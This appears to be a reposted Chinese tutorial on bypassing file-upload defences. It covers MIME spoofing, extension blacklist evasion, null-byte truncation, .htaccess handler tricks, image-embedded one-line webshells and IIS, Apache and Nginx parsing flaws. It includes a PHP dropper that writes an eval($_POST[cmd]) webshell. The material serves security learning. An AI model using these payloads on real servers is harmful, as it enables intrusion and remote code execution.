淺談文件上傳漏洞(其他方式繞過總結)


前言

上一篇文章簡單的介紹了繞過客戶端檢測,現在總結一下其他方式繞過。

正文

1.1 服務端MIME類型檢測繞過

檢測原理:用戶上傳文件時,服務器會獲取這個文件的MIME值,與事先設置好的進行比對,如果不一致,說明上傳文件非法。

咱們查看一下源代碼,代碼來源與DVWA

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

通過分析第16行代碼可以知道,我們將content-type 值改為image/jpeg,image/png,就可以繞過,因為頁面不顯示,咱們需要通過抓包工具進行修改。

 1.2 服務端文件擴展名檢測繞過

1.2.1 黑名單檢測繞過

在我們的web程序中,一般有個blacklist文件,里面會包含常見的危險腳本文件,不過這種黑名單相當不靠譜,一般會包含下圖這些。可以使用各種方法繞過。

一,文件大小寫繞過

只要把我們把后綴改為 pHp,Asp等就可以嘗試繞過。

二,名單列表繞過

可以嘗試使用黑名單沒有的一些后綴名,如 asa cer 等等

三,特殊文件名繞過

我們可是使用 xxx.asp. 或者 xxx.asp_ 等等,這樣的命名方式,再Windows系統里是不行的,需要抓包修改。繞過驗證后,Windows系統會自動去掉下滑線等。需要注意的是Unix和Linux沒有這種特性,因為他們不區分大小寫。

四,0x00 截斷繞過

這里的00對應的是16進制里面的,相當於一個空格,當系統讀取到設置的那里就會停止向下讀取。實現咱們的目的。比如上傳php.php.png 文件,里面包含一句話木馬,我們只需要將第二個小黑點改為空格,也就是將16進制的2e 改為00

五, .htaccess文件攻擊

這個就比較邪惡了,如果可以上傳.htaccess文件的話,文件里面輸入如下內容

<FilesMatch "shuaige">
SetHandler application/x-httpd-php
</FilesMatch>

然后再上傳一個文件,不需要后綴名,文件名沒要求,需要注意的是這個文件不僅要包含一句話木馬,還要有.htaccess里面的"shuaige" ,之后通過菜刀連接就可以了。

1.2.2 白名單檢測繞過

白名單相對於黑名單安全很多,方法相對也較少,可以嘗試.htaccess上傳攻擊。

1.3 服務端文件內容檢測繞過

如果對文件內容檢測較為嚴格,可以在圖片中插入一句話木馬,如果手工插的話可能破壞圖片結構,推薦使用工具插入,比如 edjpgcom ,只需要將托向它,它會彈出一個框框,在里面輸入一句話木馬就可以了。工具需要的自行下載。工具只支持 jpg格式的圖片

鏈接:https://pan.baidu.com/s/1nDogyIOAXvAR_OxQraALpw 提取碼:gtwn
拖入后,寫入一句話木馬,記事本打開圖片查看,發現完美插入圖片中

2.1 解析漏洞

一,IIS5.x-6.x解析漏洞

這個比較古老了,這個解析漏洞只能解析.asp文件,對aspx沒辦法。

1)目錄解析

在服務器中,如果有個.asp后綴的目錄,此目錄下的任何格式,都會以.asp腳本執行,如

http://www.hahaha.com/haha.asp/ha.png

 

2)  文件解析

如果在一個文件asp后綴加一個分號,在接.png  上傳成功后,服務器解析分號前就會停止解析,就說明ha.asp;.png會當做ha.asp文件執行  

http://www.hahaha.com/ha.asp;.png

 

3) 解析文件類型

IIS6.0 默認的可執行文件有asp、asa、cer、cdx四種。

二,Apache解析漏洞

 Apache解析文件的順序是從右向左,如果右邊的格式它不認識,就會依次向左判斷,如果一個文件名為 xxx.php.rar.zip,因為Apache 不認識“rar”和“zip”,所以文件最后會以xxx.php執行。

 

http://www.hahaha.com/ha.php.rar.zip

 

 

 

 三,Nginx解析漏洞

1)Nginx中php配置錯誤導致的解析漏洞

我們來構造一個URL ,xxx/123.png/456.php(456.php是咱們瞎寫的,里面沒內容,木馬在123.png里面,Nginx一看后綴是php,就交給php處理了,php處理發現456.php沒有,刪掉這個繼續向前解析,然后會將咱們的123.png執行(php比較老的版本才會執行

這其中涉及到php的一個選項:cgi.fix_pathinfo,它默認是開啟的,看名字就知道這是和文件路徑有關,舉個例子,111.php/222.php/333.php/,如果它找不到這個文件,會去掉最后333.php,執行111.php/222.php 如果沒有,繼續剛才的操作。

這個選項可以在配置文件php.ini中關閉,但是關閉可能會遇到各種問題,所以在后來的新版的php中,引入了“security.limit_extensions”,他的功能是默認只執行.php文件,所以在現在的版本php版本中,基本很難被利用了。

2)Nginx(<8.03)畸形解析漏洞

在默認FAST-GGI開啟情況下,我們上傳一個xxx.jpg的文件,里面代碼如下

<?PHP fputs(fopen('shell.php','w'),'<?php eval ($_POST[cmd])?>');?>

 

然后訪問xxx.jpg/.php,在這個目錄下就會生成 shell.php

3)  Nginx(<8.03) 空字節代碼執行漏洞

這個也是在圖片中插入代碼,並且命名為xxx.jpg ,直接訪問 xxx.jpg%00.php來執行其中的代碼。

 

 

最后,這里有一個流程圖,測試的時候可以按照這個思路走。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM